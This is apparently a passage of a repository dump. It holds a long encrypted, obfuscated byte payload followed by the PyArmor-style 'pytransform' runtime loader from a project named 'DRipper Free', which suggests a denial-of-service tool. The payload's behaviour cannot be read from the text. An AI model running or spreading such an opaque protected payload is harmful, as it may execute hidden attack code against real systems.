7\x7f\xa5\xd9\xef\xe7\xda\x96\x42\xdd\xd8\x45\xec\xa8\x73\x72\x53\x09\x9c\xa0\x2a\xb1\xb4\x8f\x7c\xba\x20\xda\xce\x2b\x41\x8c\x62\xa0\x6a\x60\x17\xd5\xe4\xc8\xa7\xe4\xea\xfb\x0e\xfb\x0a\x13\x18\x92\x40\x93\x97\x17\x01\xfa\x86\xad\x54\x92\x21\x21\x10\x8c\xa1\x95\xea\xfb\xe7\xc8\x9e\xcd\xb4\xd5\x2b\x6d\x6e\xd0\x23\x06\x48\xb3\xd3\xd0\xa1\x4d\x32\x91\x7a\x23\xbc\xd4\x35\xab\x92\xa4\x8f\xf4\xc2\x4f\x8e\x12\x0c\xbd\xb9\x1e\x95\x6b\x19\x0d\xe5\x62\x57\x7c\x96\x1d\xd9\xfd\x39\x34\xbb\xd2\xcf\x72\xdb\x5b\xe4\x2d\x12\x4c\x70\x5e\x3d\x76\xe5\xce\xf7\xaa\xd3\x12\xd8\x5d\x40\x3e\xe3\xa1\x43\xe5\xa8\x2c\xb5\xf6\x1f\xce\xfc\x7a\x93\x26\x1b\xbc\x31\x94\x08\x47\x71\x38\xeb\xcd\x29\xc7\xad\x6b\x37\x44\x46\xe5\x66\xad\x99\x5f\x4e\xc6\xd3\x79\x90\xb4\x80\x1c\x0c\x47\x8a\x79\x64\x16\xd6\x36\x63\x67\x90\xb3\x7d\xaf\x70\x07\x0a\x9b\x09\xaf\x18\xc5\xfa\xd7\xa3\xfa\xc0\x2a\x1b\x24\x37\x1c\xe3\x83\xf9\x1c\x01\xfb\xaf\xf9\xd6\x0d\xe5\x3f\x7b\x99\xc8\xd4\xb7\x76\x0e\x20\x70\x90\x36\x59\x62\x4b\xb7\xe4\xd2\x9f\x22\x34\x59\x15\x94\x9c\x49\xe4\xe8\x17\x50\xcc\xba\x2b\x1c\x31\x5a\x34\xba\x55\xff\xbe\x16\xcc\x40\xaf\x03\x6b\xd8\x0d\x98\x0c\x9e\x96\xad\xfe\x43\xf0\x0e\xd7\x48\x3b\xcb\x1e\x7b\xac\xe4\x4c\x1b\x8d\xe7\x44\x3b\xb2\xd4\x25\xa7\x1a\xcd\x22\x2f\x51\x07\x68\x97\xfb\x22\x98\xc0\x38\xa2\xd3\x73\x49\xdd\xdd\x57\xac\xa6\xe0\x7c\x05\xa3\xc9\x76\xa3\xc5\xf8\x31\x02\x3d\x46\x57\x02\x59\x01\x04\x40\x6f\x58\x50\xdf\xbe\x50\xad\xc3\xb3\xa8\xc8\xcf\x3e\xff\xae\x71\x3f\x70\xeb\x51\xc5\x2b\xa4\x96\x55\x0e\x44\x43\x0c\xb4\xce\x3c\xa0\xe6\x4c\x59\xea\x5b\x87\x33\xda\x7f\x85\x8a\xf6\x8b\xd6\x16\x64\xf3\xb5\x6b\xba\x17\x04\xb3\x37\x77\x5e\x6a\x5b\x80\xc2\x9a\xa0\x67\xdb\x41\xaf\xea\x50\xf8\x36\x34\x18\x76\x92\x00\x59\x11\x99\x6b\x40\x64\x70\xab\xe7\x0f\x1b\x69\x5d\xd6\xa0\xc4\x99\xdc\xcc\xf4\x68\x30\x74\xaf\x76\x07\xfe\xb9\x28\xf5\x89\xd5\x03\x91\x9d\x60\x3a\x17\x16\xfb\x1b\xc9\xbc\x62\xb0\x66\x0e\x79\xae\x69\x0a\xac\x33\x89\xad\x95\x3a\x10\x8d\x72\x1e\x6c\x24\x3a\x0c\x03\x98\xfc\x70\xf5\xfd\xb2\xa6\xdf\x82\x99\xc3\x72\x3d\x45\x25\xe0\xde\x2f\x82\x2d\x87\xe2\x8d\x3d\x76\xbc\xaf\xbd\x82\xe1\xce\xf2\x7d\xcd\x96\xe9\xab\x90\xe5\x73\xed\xdf\x53\x21\x2f\x99\xbc\xf7\xa1\x95\xb6\x7d\xd8\xf0\x2d\xee\x58\xd7\xb8\x77\x26\x8d\x2b\x6f\x4e\xf3\xe2\x34\xdc\x93\x9c\xc8\xf3\xc1\x97\x2d\xc2\x9a\x3b\x42\x3e\xf5\x3d\x30\x26\xe1\x0b\xb7\xb6\x83\x7b\xe5\x0b\x10\x12\x7c\xa4\xe3\x16\xc2\x1b\xfa\x32\xee\x64\xc2\x7c\x2c\xf2\x36\x08\xe2\x07\x65\xf5\x94\xf6\x37\x4a\x7d\x81\x34\x3e\xca\x42\x72\x1c\x10\x0a\xb9\x5b\x38\x55\x1e\x99\x31\xcf\x3b\xba\x84\xf3\xc4\xcd\x12\x89\x47\xd8\x8c\xe5\xb7\xa7\xbc\x7b\x0f\x28\x35\xfb\xc9\xd3\xb0\xcd\x01\xe1\xbe\x38\x2f\x52\x41\x99\xb0\x42\xfc\x2e\x41\xd6\x53\x89\x5a\x29\xce\x8a\x95\x92\xc2\xbd\xc8\x9b\xea\x60\x64\x7d\xd8\x74\xe6\x28\x3d\x58\x18\xc0\xa1\x0f\xea\xc9\x21\xd1\xdd\xd3\x98\x10\x5a\xe2\x26\x99\x8a\x4a\x1f\xc7\x62\x57\x59\xcc\x80\x4c\x70\xa8\xd8\xfc\x7d\xd1\x31\x91\xb1\x23\xc3\xa2\x46\x5c\xc0\xfb\x72\x87\xdc\xcb\xdc\xc4\x9e\xed\xe3\xe5\x79\xdd\x40\x86\x28\x20\x13\x8b\xab\x5e\xf8\xe6\x76\xc1\x25\x78\xff\xc3\x4d\xad\xb1\xbb\x9d\xae\x70\x33\x59\x90\xb9\xb0\xd8\x43\xa7\x8b\x2f\x48\x40\x8e\x8a\x5e\xee\x02\x97\x64\xcf\xfd\x8e\x0d\xa4\x82\x7b\x35\xec\xd1\x6f\x67\x5c\xcd\xc1\xe5\x8e\xd4\xd7\xad\x00\x86\x50\x3f\xf2\xdc\xbe\xa4\x5b\x5e\xc0\xe1\x00\x00\x39\x37\xf1\xde\x64\x87\x1d\x41\x66\x9b\x5a\x59\x92\xae\xd1\xc2\x9d\x04\xb8\xc9\xa6\x37\xe1\x53\xd7\xd2\x57\x64\xbc\x22\x11\xbe\x47\x83\x05\xae\x92\x38\x1c\x65\x2f\x15\x47\x2f\x8a\x4c\x91\x87\xef\x17\x39\xd8\x4f\xd0\x44\xc9\xde\x10\xa6\xbe\xd3\xed\x47\xa5\x5b\x62\x6a\x17\x52\xd7\x4c\xfd\x17\x54\x6e\xc7\xda\xba\xb4\x69\xaa\x92\xc4\x41\x64\xa2\x7d\x9f\x7b\x2b\x7a\xcb\xb6\x1e\xb8\x2b\xa7\x1a\x4e\xa6\x87\xb3\x2b\x14\x10\x10\x12\x14\x2d\x1b\xec\xfa\xdf\x86\x8f\xaf\xe0\x60\x07\x32\x49\x5f\x65\x93\xb7\xc0\x0d\x8c\x8e\x23\x28\x19\x4c\xe2\x71\x7b\x35\x27\x95\x17\x28\x1b\x59\x2c\x51\x9e\xca\xe0\xf3\x16\x16\x5e\x25\xfb\x6c\x92\x9f\x16\x42\x76\xd3\x51\x55\xe6\x70\x04\x71\x54\x3d\x52\xe9\x9c\x9b\xeb\x9b\xeb\xcf\xb0\x16\x9e\x9d\x3a\xd4\x24\x71\x5d\xd6\xac\x09\xfe\x50\x8e\xaa\xfe\x37\xc0\xac\x36\x3a\xe1\x71\x73\xc6\x7c\xc5\xe6\x73\x87\x3e\x13\x8e\x1d\x5b\x76\x1d\x1f\x68\xfe\x2b\xb1\xc5\x91\x57\x46\x6b\xcf\x3f\x9c\x49\x48\xc2\xdf\x86\x28\x4c\x41\x39\x97\x5a\xa7\x18\x17\xbf\x44\x91\xb6\x25\x5f\xdc\xb5\x15\xa7\x9f\x37\xb2\x7a\x25\x6f\xb7\x00\xf4\xe6\x44\x39\xa8\x95\xc2\xad\x59\xe7\x42\xab\x64\x43\x36\xe1\x8b\xc1\x41\xf1\x06\x0d\xd8\xa9\xbb\x68\xda\xc1\xbc\x1d\x12\x97\xa8\xf2\x31\x22\xcb\x63\xb8\x0a\xa0\xb7\x7d\xfd\x94\x61\xe8\x3e\x71\x49\x25\xec\x1d\x92\xda\xae\x04\xd1\x68\x1a\x93\x39\x4b\x7f\x9b\x9d\xf4\x72\x11\xc0\xa9\x91\xd6\x34\xb0\x17\x96\x59\x95\xe0\x01\x9d\xbf\xc2\x4d\x65\x49\x65\xae\x94\x3d\x76\xf9\xca\x09\x5a\x41\xc2\xde\x8d\x13\x86\x92\x47\x3b\x18\xba\x45\x6f\xac\xe2\xdf\x13\x64\x63\xde\xc7\x85\x22\xd0\x83\x67\x12\x7b\xbe\x9c\xfa\x63\x88\x1e\xb0\x39\x01\x4d\x58\xf3\x63\x0c\xcc\xb6\x1b\x49\x4d\xf6\xbf\xb3\x1f\xb3\xdb\x7c\x76\x3e\x28\xb3\x77\x56\x94\x3d\x0c\x37\xcb\x1c\x38\xb9\x33\x7f\xae\x37\xf9\x93\x27\x8e\x78\x0a\xc5\x68\x04\x31\xb7\x08\x5e\xa0\x98\x8d\x74\x33\x97\xb0\x95\xa4\x97\xab\x01\xc6\xa3\xea\x82\xf1\x03\xa4\x89\x5d\xd1\x7d\x6c\x66\xcb\xac\xb6\xb3\xa4\x72\x39\x5d\x68\xf0\xad\xf1\x6b\x51\xf1\x2a\xb0\x87\xb9\x2a\xf8\x9e\xb7\xab\x66\xc6\x2a\x57\xdc\xc1\xd2\x91\x54\xa2\xed\xb0\x95\x43\xc4\x80\xe8\x82\x2d\x4d\x56\xd5\x90\x19\x73\x2a\xd1\x71\x9d\x40\xfb\xfb\xc7\xc4\x5c\x95\x7c\x3c\xc0\x84\x60\xd5\xf0\x28\x67\x9c\x28\x58\x3f\x87\x88\xa0\x68\x9c\xd5\x51\x41\x6c\xb6\x56\x3b\xd9\x93\xcd\x1b\xdf\xd7\x36\x14\x6b\x51\x11\xeb\x5d\x58\xba\x5c\x94\xe9\xc3\xf6\x47\x37\x70\x59\xf9\x58\xb8\xf2\xa5\xd4\x9d\x1b\x94\x80\x25\x52\x22\x7d\x3d\xfe\xac\xc1\x23\x0a\xf5\x60\x7b\x99\xf7\xc0\xf7\x2d\x47\x5b\x97\x4a\x66\x7c\x54\xdb\xed\x33\xdf\x40\x7a\x89\x38\xb3\x3b\x2d\xbb\x14\x99\x67\xad\xc4\x7f\x06\x72\x38\x37\x9f\x14\xb2\x7f\x56\xa0\xc8\x72\x71\x79\x2d\x04\x82\xc3\x5f\x4b\x7f\x50\xa9\x31\x0b\xbf\xd8\xd8\x5e\x83\x17\xaa\x45\x04\x91\x31\x0b\x50\x5f\x3e\x28\x18\x57\x57\xbc\xcc\xb3\xca\x93\x34\x5e\x87\x5b\xb6\x04\xff\xba\x28\xa5\x7e\x20\x79\x1f\x5f\x92\xa5\x93\xcf\xee\xf8\x25\x55\xed\xc1\x68\x7b\xa5\x3f\xbe\x28\xed\x10\xa5\x62\x1c\x79\xaf\x00\xdb\x85\x6a\x35\x2a\x58\x33\xc4\x1c\xfa\xa3\x50\x84\xc4\xac\x0d\x68\x74\x72\xa0\xc1\x7f\x27\x20\x2c\xf8\xe3\x08\xe2\x34\xc7\xa9\x94\x5b\xa1\x9c\x2a\x4b\xe6\x1b\x3d\x5b\x54\x48\x53\x8c\xc9\x5c\x1d\x66\xd7\x24\x95\x36\x2f\x1a\x53\x4e\x08\x7d\x4e\x48\xe5\x13\xea\xfb\xbe\xd7\xbe\xa5\x8e\x04\xa8\x88\x6d\x8e\x00\xb7\x58\x7e\x3f\xa2\x00\x81\x57\xaa\xb8\x17\xc4\x9d\x31\x6d\x4f\xf0\xe6\x9b\x4a\xc6\x72\x5c\x9f\x5b\xcd\xab\xff\x48\x67\x9e\xd2\x9f\xab\x19\xd5\x8c\x6e\xeb\x07\xe4\x6b\xd9\xba\x63\x5f\xa9\x08\xc5\xf7\xad\x21\x42\xa8\xb7\x51\x81\xb4\x1e\xb1\xb0\x62\xc7\x05\x39\x23\x83\x75\x38\x3e\x95\xd6\x92\xd5\x25\xa9\x32\x89\x2e\x60\xa8\x3e\x56\x96\xac\x1d\x6e\xd2\x2a\xe0\x97\x08\x18\xfb\x96\x81\x08\x15\x79\x22\x77\xdb\x9d\x7a\x74\xf0\x56\xad\x03\x9e\xa2\x9e\x0a\xbb\x7c\x5c\x4d\xb6\x80\xce\xbf\xb2\x8d\xcd\x85\xf1\x15\x2a\xdc\x7e\xbe\x77\x6f\xe7\x13\x24\x00\x3f\x71\x64\x89\xbc\xed\xf7\x00\x91\x7e\x93\x51\xcd\xac\x88\x36\xd8\x54\x30\xde\xc5\x66\xbf\xb3\x58\xb2\xb6\x51\x43\x74\x11\x22\x9c\x70\x1a\xc4\x46\x9c\xa5\xa8\x6b\x7b\x36\x01\xec\x74\xc5\x26\x5e\x6c\xe8\x7b\x1b\xea\x33\x63\xb2\x01\x51\x48\xa2\xde\xc8\x88\x26\x39\xea\x6d\x37\x9f\x5f\xa2\x7d\xc0\x9d\x45\xb9\x4a\x60\x0f\xa6\x74\x5a\x8f\xc2\x41\xa6\x23\xf3\xe7\x61\x5b\x9a\x36\xa9\xf4\x3b\x0d\x69\xd0\x31\x3b\xaa\x0e\xb1\x85\x24\x00\x1e\x22\xb4\xc9\xaf\x8b\x6a\xb3\x8f\xa7\x26\x45\x37\x84\x4c\xee\xea\x3b\xb9\x14\x4c\x0f\xd7\x6f\xbb\x7a\xbe\xf8\x0d\xda\x9c\x30\x05\x08\x84\x61\x3f\x06\x19\x67\xaf\x49\x47\xa4\xf9\xcc\x4c\x21\x78\x6a\x70\xe4\xde\x4f\xb6\x19\xfe\xc7\x80\x62\xbb\x83\xa1\xd3\x67\xe1\x9e\x81\x14\x26\x6c\x78\x50\xb3\x60\x87\xbe\x7d\x15\xaa\x01\x57\x5f\x7b\xf0\xfb\x74\x5f\xc7\x3b\xf3\x22\xa6\x76\xf3\x95\x9d\x55\xa3\xd2\x2c\x7b\x69\xb2\xf1\x9f\xb7\x87\x0e\x6a\x76\x96\xd2\x9f\x13\xda\x8f\x28\xd5\xd1\xd9\x1a\xf6\x32\xdb\xb1\x72\xa3\xd6\x87\x38\xbd\x79\x03\x2a\xd9\xd5\xc2\x5b\x01\xec\x86\x8d\x15\x1f\x20\x06\x67\xd5\xa1\xc2\xae\x36\xa0\x11\xed\x5b\x39\xf5\xbc\x6d\x24\xf1\x9d\xca\x6f\x4f\xf6\x39\xf5\xe7\xd1\x7a\x52\x78\x8e\x3c\x5c\xc0\x1f\xfa\x9c\x26\x76\x89\x5a\x15\x98\xd1\xf0\x1b\xe8\x2e\x6f\x4a\x0e\x01\xba\x85\x7b\xf1\x47\xb1\x76\xe7\xc1\x19\x2d\xda\x89\xe3\x36\x68\xcb\xe5\xa2\xe1\xa3\xa6\x73\xc1\xee\x76\x63\xa9\x40\x5a\x65\x11\x0c\x2f\x27\xe7\xf5\x8b\x9e\xf5\xe4\x17\x97\x84\x6f\x38\xce\x72\x08\x57\x4b\x0d\xa8\xcf\xbc\xd6\x3b\x30\xcb\x97\x64\xef\xb3\x7c\x42\xca\x3b\x05\x30\x7d\x13\x3e\x2a\xef\x63\x36\x72\xdf\xec\xb2\x75\xd3\x91\x1d\xc3\x80\x74\x3e\xc1\x8e\xe1\x3b\x4d\x51\x53\x15\x36\x58\x3d\x31\xd2\xb9\xf8\x8b\x6e\x74\xfb\xd9\x20\xda\x34\xa9\x99\x4d\x7d\x9e\x15\xc6\xf1\x9c\xa6\xa8\x02\xc7\x0f\x78\x6e\xb9\x0a\x27\x38\xec\xa3\xb4\xe9\xaf\xcb\xf6\xc6\x4a\xb4\x7a\x58\xc7\x8e\x4e\x61\x80\xa8\x34\x72\x59\x63\x6a\x2b\xa2\x7a\xa2\xd3\x2f\xb0\x68\x8f\x3b\x4a\x46\xdc\x56\xc5\x47\xb3\xc4\x7c\x9e\xca\x8b\x08\x1f\xae\x1c\xf6\xd6\xe5\x8a\x4b\xb9\xb8\x33\x82\xbd\xb6\x59\xd9\xdf\x8e\x44\x6c\xcc\x3c\xa0\xf8\xbc\x3f\x8c\xea\x77\x78\x05\x7d\xa8\x0f\x6b\x43\x34\x1a\x77\x20\x9d\xd9\xdf\x39\x39\x32\xe7\xae\x38\xb4\x10\xea\xc6\x11\xba\x0f\x21\x55\x17\x37\x24\x5f\xec\x3d\xc9\xb2\x99\x96\x53\x43\xb5\x62\x02\xd8\xdb\x29\x4d\x53\xcf\x5c\x23\x4c\x8d\x2d\x7a\xf6\x32\x35\x6d\x7e\xca\x2e\x08\x42\x3d\xc1\x40\x33\x6b\xa0\xca\x6c\xbe\x31\x22\x22\x61\xcd\x36\xe3\x46\xbd\xcc\x00\x26\xdd\x7e\xdc\xcd\x60\x7f\x5e\xc7\x40\x8b\x6b\xb1\x0a\xa3\x0c\xa0\x52\x30\xd3\xb2\xd1\xf4\x79\x19\x5c\x46\x92\xb7\x2c\xd6\xa7\x84\x78\x6e\xcc\xb4\x00\xa0\x80\x74\xce\x85\x75\x13\x9f\xbe\x09\x29\xb7\x1a\x32\x53\xb7\x02\xdf\x93\x3a\x59\xc4\x04\x35\x67\x14\x39\x8b\x6a\xfb\xc7\x8d\x00\xac\xd9\xb4\x7a\x98\xe4\x9e\xe3\xda\xdc\x9f\x81\x7a\xc3\x92\xeb\xb0\xe0\xb2\x3d\xdc\xd4\x55\xfb\xb3\x17\x0e\x03\xec\x52\x16\xdd\xf7\x2e\x6b\x9f\xd6\x83\x64\x3f\x0e\x2d\x08\x25\xe4\x82\xa6\x46\xde\x1d\x3e\xd4\x56\x65\x50\x8a\x9d\x1c\xd7\xb5\xfe\x36\xeb\xc5\xf8\x2a\x79\x5c\xbf\xf6\xce\x24\x02\xab\xb7\x4c\x20\xd4\x27\x82\x45\x6c\xcc\x6a\x71\xde\xe4\x4d\x41\x1b\xa6\xf7\x7d\x86\xdf\x44\xc9\x85\x62\x23\xe7\xcd\x33\x20\x01\x21\x43\x83\xc6\x43\xde\x39\xf8\xad\xf2\x82\xeb\xb9\x90\x3b\x1e\x63\xbf\x49\x6a\xbf\x59\xd1\xfa\x28\x4e\x89\xd7\xae\x29\xae\x7e\x61\xe1\x56\x90\xa4\x90\x76\xcd\x97\xba\xb8\xfa\xd8\x4e\xfd\xc8\x5e\x8a\x95\x04\x34\x34\x22\x93\xb7\xd3\x47\xac\x85\xc0\xa8\x41\x8c\xea\x7f\x89\xe1\x60\x40\x7b\xc2\x75\x24\x23\x11\x09\x03\x24\x1f\x6c\xb0\x78\xab\x32\xb0\x1d\xdc\x6b\xbf\xd0\x6f\x9c\xbd\x92\x28\xa3\x99\x5f\x4d\xd7\x32\x5c\x96\x5e\x7b\xcf\x3e\x8a\x10\x1b\xcb\x50\x75\xbb\x5e\x5b\x31\x20\x31\x50\xa2\xee\x1f\xa9\x94\x9e\x92\x72\xc5\x4f\xf9\x2a\xc9\x29\x6f\xc3\x5b\x6b\x74\x8d\x9d\xd1\xc7\xd6\xcc\xf3\x6b\xa0\x13\x20\xbe\xdf\x4b\x9e\xe0\x19\x13\xc2\x04\xb0\x3e\x6d\xe5\x94\x68\xef\xf3\x10\xf5\x9a\xae\x5b\xfe\xdd\xf8\x8a\xbf\x67\x7c\x85\xf8\xbb\x62\x77\xc7\x12\x5e\x72\x0c\xa7\xe1\x99\xd1\x8f\x11\x83\x68\xae\x3c\x84\x4c\x29\x77\x1e\x9c\xad\xcf\x99\xed\xf5\x03\xb8\x08\xc4\xce\xa7\xfd\xa1\x92\x54\x73\x98\x7a\x79\x73\x6b\x77\x88\x21\x7c\x19\x94\x43\x14\x67\x34\xc9\xeb\xf7\x2e\x96\x63\x7f\x4d\x4e\x51\xed\x5e\x7f\x50\x68\x1b\xf1\x74\x0d\x43\x8d\x69\x5c\x8d\xd0\x3c\x5b\xef\x23\xa7\xc9\x5a\x36\x54\xe0\xbe\x7c\xaa\x85\x83\x1d\x25\xd5\xb6\x39\x48\x84\xc0\xeb\x0a\x1d\x8d\xeb\x0d\xf5\xf3\xcd\xb7\x28\x77\x02\x08\x4b\xe6\xe2\x80\x0d\x99\xf3\x4a\xff\xdc\xa4\xfe\xe0\x5c\x3e\x8e\x90\xf6\x80\x68\x02\x95\x5f\x07\x7d\x55\x99\xc6\xc3\xe1\x93\x4d\x16\xfe\x94\x80\xd3\x35\xfe\x79\xc3\x9d\xdb\xcc\xeb\xdc\xf2\x4e\x5c\xac\xc0\x77\xeb\xf5\x6b\xd8\xcb\xd7\x8c\xf0\x71\xb6\x75\x9b\x68\xe5\x30\x45\xb0\x40\x9c\x48\xaa\xdb\x27\x56\x91\xa8\x8d\x66\x12\x6a\xe8\xb8\xd2\x9e\xad\x77\x3d\xf7\x53\xcb\x76\x22\x26\x94\x27\x7a\xb9\xc5\x33\xdd\x9e\x16\x3e\x92\x2d\xa1\x32\x0d\xa0\xd6\x23\x65\xe5\x30\xb0\xca\x8c\x9d\x1d\x60\xb8\xdb\x4b\x84\x74\xb5\x82\x15\x18\xb5\x3c\x7b\x3d\x1e\x98\x7c\x61\x7e\xd4\xf6\xa5\x31\x6c\x15\x9b\xa9\x46\xc6\xb3\x68\x02\x93\xc1\x78\xc1\xe9\x47\x89\xc2\xe5\x03\xdc\xad\x8f\x51\xa5\xb5\x8e\x8b\xb4\xf1\xd4\x50\xf7\xe0\xd3\x9e\x5f\x0e\x18\x81\xed\x07\xfa\x4f\xb6\x56\xaf\xa9\x62\x69\x54\x7b\x4a\xa2\x72\xaf\x47\xee\x68\xae\x8b\x81\x1c\xf5\x84\x68\x6f\xb1\xfb\xec\x35\x54\x91\x5d\x94\x1e\x57\x47\xdf\xf3\x64\x15\x24\xdd\xe5\xc0\x6f\x4c\x4c\xdc\x9d\xea\xe7\x84\xb1\x5e\xf9\x3e\x0b\xf6\x08\x3b\x3c\xcc\x98\xa6\x00\x66\xf5\x47\x1c\x97\x09\xe9\xf5\x30\x6c\x44\x7b\x83\x00\x3b\xa8\x70\x91\x86\x7e\x67\x7f\x10\x15\xcd\xc7\x92\xf9\x74\x4d\x6f\xf1\x44\x1c\xd5\x12\x2c\x23\xf8\x6f\x89\x08\xd2\x35\x13\xcc\xc0\x80\xfb\x28\xdb\x46\x64\xcd\xdc\x89\xe0\x2a\xd6\x86\xfe\xd6\x3b\xb8\xf7\xfa\xe4\x6a\x3a\x0d\xcc\xec\x2a\x83\x1a\x3f\x3f\x55\x02\x95\x18\x99\xe7\xf3\xf3\xb8\x69\xb5\xc4\x3a\x12\x33\x1b\x4c\xa8\x77\x3f\xb2\xf6\x48\x49\xd0\xf1\x1f\xeb\x13\xd9\x6f\xa8\x76\xeb\xec\x94\x15\x35\x70\x99\xd2\xd2\x26\xe5\x02\xdf\x41\xb2\x8e\xce\x55\x91\xfb\x29\x49\x55\x92\xc9\x3a\x48\xa0\x48\x48\xc9\xf2\xf6\x39\x38\x1d\x08\xbe\xb2\x60\xe0\x03\x68\x8e\x7f\x43\x61\xe0\x7f\x2e\xb7\x26\xfd\x30\xc1\x42\x50\xb5\xa1\x57\x61\x6f\x33\x6d\x6a\x3a\xa7\x76\xde\x4a\x83\x40\x9d\x39\xd8\x71\x1c\x50\x27\xf4\xb5\x80\x58\x0e\xc2\x04\xc8\x9b\x49\xc7\xdb\xbd\xb8\x54\xee\x68\x8e\xe8\xcb\xef\xae\xb4\x6c\x65\x02\xda\xb6\xd0\xf4\x68\x8c\x86\x55\x2b\xf5\xd3\x37\xe8\xae\x81\x9c\xeb\x60\x12\x04\x85\x6f\x0b\xc7\x71\x26\x68\x98\xbe\xe6\x8d\x5e\x75\xa5\xa8\xc3\x30\x47\xb5\x92\xe4\x8c\xf6\xe2\x7d\x7c\x9e\x52\x23\x27', 2) -------------------------------------------------------------------------------- /DRipper Free/pytransform/__init__.py: -------------------------------------------------------------------------------- 1 | # These module alos are used by protection code, so that protection 2 | # code needn't import anything 3 | import os 4 | import platform 5 | import sys 6 | import struct 7 | 8 | # Because ctypes is new from Python 2.5, so pytransform doesn't work 9 | # before Python 2.5 10 | # 11 | from ctypes import cdll, c_char, c_char_p, c_int, c_void_p, \ 12 | pythonapi, py_object, PYFUNCTYPE, CFUNCTYPE 13 | from fnmatch import fnmatch 14 | 15 | # 16 | # Support Platforms 17 | # 18 | plat_path = 'platforms' 19 | 20 | plat_table = ( 21 | ('windows', ('windows', 'cygwin-*')), 22 | ('darwin', ('darwin', 'ios')), 23 | ('linux', ('linux*',)), 24 | ('freebsd', ('freebsd*', 'openbsd*')), 25 | ('poky', ('poky',)), 26 | ) 27 | 28 | arch_table = ( 29 | ('x86', ('i?86', )), 30 | ('x86_64', ('x64', 'x86_64', 'amd64', 'intel')), 31 | ('arm', ('armv5',)), 32 | ('armv6', ('armv6l',)), 33 | ('armv7', ('armv7l',)), 34 | ('ppc64', ('ppc64le',)), 35 | ('mips32', ('mips',)), 36 | ('aarch32', ('aarch32',)), 37 | ('aarch64', ('aarch64', 'arm64')) 38 | ) 39 | 40 | # 41 | # Hardware type 42 | # 43 | HT_HARDDISK, HT_IFMAC, HT_IPV4, HT_IPV6, HT_DOMAIN = range(5) 44 | 45 | # 46 | # Global 47 | # 48 | _pytransform = None 49 | 50 | 51 | class PytransformError(Exception): 52 | pass 53 | 54 | 55 | def dllmethod(func): 56 | def wrap(*args, **kwargs): 57 | return func(*args, **kwargs) 58 | return wrap 59 | 60 | 61 | @dllmethod 62 | def version_info(): 63 | prototype = PYFUNCTYPE(py_object) 64 | dlfunc = prototype(('version_info', _pytransform)) 65 | return dlfunc() 66 | 67 | 68 | @dllmethod 69 | def init_pytransform(): 70 | major, minor = sys.version_info[0:2] 71 | # Python2.5 no sys.maxsize but sys.maxint 72 | # bitness = 64 if sys.maxsize > 2**32 else 32 73 | prototype = PYFUNCTYPE(c_int, c_int, c_int, c_void_p) 74 | init_module = prototype(('init_module', _pytransform)) 75 | ret = init_module(major, minor, pythonapi._handle) 76 | if (ret & 0xF000) == 0x1000: 77 | raise PytransformError('Initialize python wrapper failed (%d)' 78 | % (ret & 0xFFF)) 79 | return ret 80 | 81 | 82 | @dllmethod 83 | def init_runtime(): 84 | prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int) 85 | _init_runtime = prototype(('init_runtime', _pytransform)) 86 | return _init_runtime(0, 0, 0, 0) 87 | 88 | 89 | @dllmethod 90 | def encrypt_code_object(pubkey, co, flags, suffix=''): 91 | _pytransform.set_option(6, suffix.encode()) 92 | prototype = PYFUNCTYPE(py_object, py_object, py_object, c_int) 93 | dlfunc = prototype(('encrypt_code_object', _pytransform)) 94 | return dlfunc(pubkey, co, flags) 95 | 96 | 97 | @dllmethod 98 | def generate_license_file(filename, priname, rcode, start=-1, count=1): 99 | prototype = PYFUNCTYPE(c_int, c_char_p, c_char_p, c_char_p, c_int, c_int) 100 | dlfunc = prototype(('generate_project_license_files', _pytransform)) 101 | return dlfunc(filename.encode(), priname.encode(), rcode.encode(), 102 | start, count) if sys.version_info[0] == 3 \ 103 | else dlfunc(filename, priname, rcode, start, count) 104 | 105 | 106 | @dllmethod 107 | def generate_license_key(prikey, keysize, rcode): 108 | prototype = PYFUNCTYPE(py_object, c_char_p, c_int, c_char_p) 109 | dlfunc = prototype(('generate_license_key', _pytransform)) 110 | return dlfunc(prikey, keysize, rcode) if sys.version_info[0] == 2 \ 111 | else dlfunc(prikey, keysize, rcode.encode()) 112 | 113 | 114 | @dllmethod 115 | def get_registration_code(): 116 | prototype = PYFUNCTYPE(py_object) 117 | dlfunc = prototype(('get_registration_code', _pytransform)) 118 | return dlfunc() 119 | 120 | 121 | @dllmethod 122 | def get_expired_days(): 123 | prototype = PYFUNCTYPE(py_object) 124 | dlfunc = prototype(('get_expired_days', _pytransform)) 125 | return dlfunc() 126 | 127 | 128 | @dllmethod 129 | def clean_obj(obj, kind): 130 | prototype = PYFUNCTYPE(c_int, py_object, c_int) 131 | dlfunc = prototype(('clean_obj', _pytransform)) 132 | return dlfunc(obj, kind) 133 | 134 | 135 | def clean_str(*args): 136 | tdict = { 137 | 'str': 0, 138 | 'bytearray': 1, 139 | 'unicode': 2 140 | } 141 | for obj in args: 142 | k = tdict.get(type(obj).__name__) 143 | if k is None: 144 | raise RuntimeError('Can not clean object: %s' % obj) 145 | clean_obj(obj, k) 146 | 147 | 148 | def get_hd_info(hdtype, size=256): 149 | if hdtype not in range(HT_DOMAIN + 1): 150 | raise RuntimeError('Invalid parameter hdtype: %s' % hdtype) 151 | t_buf = c_char * size 152 | buf = t_buf() 153 | if (_pytransform.get_hd_info(hdtype, buf, size) == -1): 154 | raise PytransformError('Get hardware information failed') 155 | return buf.value.decode() 156 | 157 | 158 | def show_hd_info(): 159 | return _pytransform.show_hd_info() 160 | 161 | 162 | def assert_armored(*names): 163 | prototype = PYFUNCTYPE(py_object, py_object) 164 | dlfunc = prototype(('assert_armored', _pytransform)) 165 | 166 | def wrapper(func): 167 | def wrap_execute(*args, **kwargs): 168 | dlfunc(names) 169 | return func(*args, **kwargs) 170 | return wrap_execute 171 | return wrapper 172 | 173 | 174 | def get_license_info(): 175 | info = { 176 | 'ISSUER': None, 177 | 'EXPIRED': None, 178 | 'HARDDISK': None, 179 | 'IFMAC': None, 180 | 'IFIPV4': None, 181 | 'DOMAIN': None, 182 | 'DATA': None, 183 | 'CODE': None, 184 | } 185 | rcode = get_registration_code().decode() 186 | if rcode.startswith('*VERSION:'): 187 | index = rcode.find('\n') 188 | info['ISSUER'] = rcode[9:index].split('.')[0].replace('-sn-1.txt', '') 189 | rcode = rcode[index+1:] 190 | 191 | index = 0 192 | if rcode.startswith('*TIME:'): 193 | from time import ctime 194 | index = rcode.find('\n') 195 | info['EXPIRED'] = ctime(float(rcode[6:index])) 196 | index += 1 197 | 198 | if rcode[index:].startswith('*FLAGS:'): 199 | index += len('*FLAGS:') + 1 200 | info['FLAGS'] = ord(rcode[index - 1]) 201 | 202 | prev = None 203 | start = index 